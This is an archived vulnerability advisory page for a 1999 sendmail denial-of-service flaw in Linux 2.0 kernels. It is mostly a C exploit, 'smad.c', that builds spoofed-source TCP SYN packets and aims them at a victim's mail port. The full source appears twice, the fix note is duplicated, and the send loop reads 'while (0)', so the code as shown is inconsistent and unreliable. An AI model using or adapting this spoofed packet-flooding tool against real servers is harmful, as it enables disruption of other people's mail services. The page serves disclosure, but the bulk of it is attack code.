Linux Sendmail Denial of Service Vulnerability
BID:363
Info
Linux Sendmail Denial of Service Vulnerability
| Bugtraq ID: | 363 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 1999 12:00AM |
| Updated: | May 28 1999 12:00AM |
| Credit: | First posted to BugTraq by Michal Zalewski. |
| Vulnerable: |
Linux kernel 2.0 |
| Not Vulnerable: |
Linux kernel 2.3 Linux kernel 2.2 Linux kernel 2.1 |
Exploit / POC
Linux Sendmail Denial of Service Vulnerability
/*
* smad.c - sendmail accept dos -
*
* Salvatore Sanfilippo [AntireZ]
* Intesis SECURITY LAB Phone: +39-2-671563.1
* Via Settembrini, 35 Fax: +39-2-66981953
* I-20124 Milano ITALY Email: [email protected]
* [email protected]
*
* compile it under Linux with gcc -Wall -o smad smad.c
*
* usage: smad fakeaddr victim [port]
*/
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#define SLEEP_UTIME 100000 /* modify it if necessary */
#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
#define OFFSETTCP (sizeof(struct iphdr))
#define OFFSETIP (0)
u_short cksum(u_short *buf, int nwords)
{
unsigned long sum;
u_short *w = buf;
for (sum = 0; nwords > 0; nwords-=2)
sum += *w++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
void resolver (struct sockaddr * addr, char *hostname, u_short port)
{
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)addr;
(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
bcopy( host->h_addr,
(char *)&address->sin_addr,host->h_length);
} else {
perror("Could not resolve address");
exit(-1);
}
}
}
int main(int argc, char **argv)
{
char runchar[] = "|/-\\";
char packet[PACKETSIZE],
*fromhost,
*tohost;
u_short fromport = 3000,
toport = 25;
struct sockaddr_in local, remote;
struct iphdr *ip = (struct iphdr*) (packet + OFFSETIP);
struct tcphdr *tcp = (struct tcphdr*) (packet + OFFSETTCP);
struct tcp_pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short lenght;
struct tcphdr tcpheader;
}
pseudoheader;
int sock, result, runcharid = 0;
if (argc < 3)
{
printf("usage: %s fakeaddr victim [port]\n", argv[0]);
exit(0);
}
if (argc == 4)
toport = atoi(argv[3]);
bzero((void*)packet, PACKETSIZE);
fromhost = argv[1];
tohost = argv[2];
resolver((struct sockaddr*)&local, fromhost, fromport);
resolver((struct sockaddr*)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("can't get raw socket");
exit(1);
}
/* src addr */
bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
/* dst addr */
bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));
ip->version = 4;
ip->ihl = sizeof(struct iphdr)/4;
ip->tos = 0;
ip->tot_len = htons(PACKETSIZE);
ip->id = htons(getpid() & 255);
/* no flags */
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = 6;
ip->check = 0;
tcp->th_dport = htons(toport);
tcp->th_sport = htons(fromport);
tcp->th_seq = htonl(32089744);
tcp->th_ack = htonl(0);
tcp->th_off = sizeof(struct tcphdr)/4;
/* 6 bit reserved */
tcp->th_flags = TH_SYN;
tcp->th_win = htons(512);
/* start of pseudo header stuff */
bzero(&pseudoheader, 12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.lenght = htons(sizeof(struct tcphdr));
bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
sizeof(struct tcphdr));
/* end */
tcp->th_sum = cksum((u_short *) &pseudoheader,
12+sizeof(struct tcphdr));
/* 16 bit urg */
while (0)
{
result = sendto(sock, packet, PACKETSIZE, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != PACKETSIZE)
{
perror("sending packet");
exit(0);
} printf("\b");
printf("%c", runchar[runcharid]);
fflush(stdout);
runcharid++;
if (runcharid == 4)
runcharid = 0;
usleep(SLEEP_UTIME);
}
return 0;
}
/*
* smad.c - sendmail accept dos -
*
* Salvatore Sanfilippo [AntireZ]
* Intesis SECURITY LAB Phone: +39-2-671563.1
* Via Settembrini, 35 Fax: +39-2-66981953
* I-20124 Milano ITALY Email: [email protected]
* [email protected]
*
* compile it under Linux with gcc -Wall -o smad smad.c
*
* usage: smad fakeaddr victim [port]
*/
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#define SLEEP_UTIME 100000 /* modify it if necessary */
#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
#define OFFSETTCP (sizeof(struct iphdr))
#define OFFSETIP (0)
u_short cksum(u_short *buf, int nwords)
{
unsigned long sum;
u_short *w = buf;
for (sum = 0; nwords > 0; nwords-=2)
sum += *w++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
void resolver (struct sockaddr * addr, char *hostname, u_short port)
{
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)addr;
(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
bcopy( host->h_addr,
(char *)&address->sin_addr,host->h_length);
} else {
perror("Could not resolve address");
exit(-1);
}
}
}
int main(int argc, char **argv)
{
char runchar[] = "|/-\\";
char packet[PACKETSIZE],
*fromhost,
*tohost;
u_short fromport = 3000,
toport = 25;
struct sockaddr_in local, remote;
struct iphdr *ip = (struct iphdr*) (packet + OFFSETIP);
struct tcphdr *tcp = (struct tcphdr*) (packet + OFFSETTCP);
struct tcp_pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short lenght;
struct tcphdr tcpheader;
}
pseudoheader;
int sock, result, runcharid = 0;
if (argc < 3)
{
printf("usage: %s fakeaddr victim [port]\n", argv[0]);
exit(0);
}
if (argc == 4)
toport = atoi(argv[3]);
bzero((void*)packet, PACKETSIZE);
fromhost = argv[1];
tohost = argv[2];
resolver((struct sockaddr*)&local, fromhost, fromport);
resolver((struct sockaddr*)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("can't get raw socket");
exit(1);
}
/* src addr */
bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
/* dst addr */
bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));
ip->version = 4;
ip->ihl = sizeof(struct iphdr)/4;
ip->tos = 0;
ip->tot_len = htons(PACKETSIZE);
ip->id = htons(getpid() & 255);
/* no flags */
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = 6;
ip->check = 0;
tcp->th_dport = htons(toport);
tcp->th_sport = htons(fromport);
tcp->th_seq = htonl(32089744);
tcp->th_ack = htonl(0);
tcp->th_off = sizeof(struct tcphdr)/4;
/* 6 bit reserved */
tcp->th_flags = TH_SYN;
tcp->th_win = htons(512);
/* start of pseudo header stuff */
bzero(&pseudoheader, 12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.lenght = htons(sizeof(struct tcphdr));
bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
sizeof(struct tcphdr));
/* end */
tcp->th_sum = cksum((u_short *) &pseudoheader,
12+sizeof(struct tcphdr));
/* 16 bit urg */
while (0)
{
result = sendto(sock, packet, PACKETSIZE, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != PACKETSIZE)
{
perror("sending packet");
exit(0);
} printf("\b");
printf("%c", runchar[runcharid]);
fflush(stdout);
runcharid++;
if (runcharid == 4)
runcharid = 0;
usleep(SLEEP_UTIME);
}
return 0;
}
Solution / Fix
Linux Sendmail Denial of Service Vulnerability
Solution:
This was fixed in the 2.1.x development kernels. Upgrade to the 2.2.x kernels.
Solution:
This was fixed in the 2.1.x development kernels. Upgrade to the 2.2.x kernels.
References
Linux Sendmail Denial of Service Vulnerability
References:
References: